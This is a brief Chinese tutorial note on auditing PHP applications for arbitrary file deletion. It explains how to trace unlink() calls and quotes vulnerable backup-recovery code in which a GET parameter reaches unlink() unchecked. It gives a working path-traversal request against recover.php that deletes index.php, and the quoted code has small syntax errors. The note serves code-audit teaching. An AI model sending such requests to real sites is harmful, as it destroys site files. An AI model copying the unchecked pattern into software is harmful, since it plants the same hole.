概述
- 文件删除漏洞出现在文件管理功能的应用上比较多,这些应用一般也都有文件上传和读取的功能,删除原理漏洞原理跟文件读取漏洞差不多,利用的函数不一样而已
函数
- 常出现的函数是unlink()
挖掘经验
- 直接搜索带有参数变量的unlink(),依然采用回溯的方式即可
代码分析
任意文件删除分析
if($action=='delete'){
if(is_array($filenames)){
foreach($filenames as $filename){
if fileext($filename)=='sql'{
@unlink('../databack/'.$filename)
}
}
}else{
if(fileext($filenames)=='sql'){
$filenamearray=explode(".sql",$filenames);
@unlink('../../databack',$filenames);
@unlink('../../databack/sql/metinfo_'.$filenamearray[0].".zip");
}else{
//如果不是sql文件,直接删除
@unlink('../../databack/'.$fileon.'/'.$filenames);
}
}
- 这段代码首先判断action参数值是否是delete。如果是就进入文件删除功能,在代码:
if(fileext($filenames)=='sql'){
- 判断如果不是sql文件后,就直接在databack目录删除提交的文件名,代码$filenames函数从get中提交,只要请求
/recover.php?&acrion=delete&action=delete&filenames=../../index.php
- 即可删除index.php文件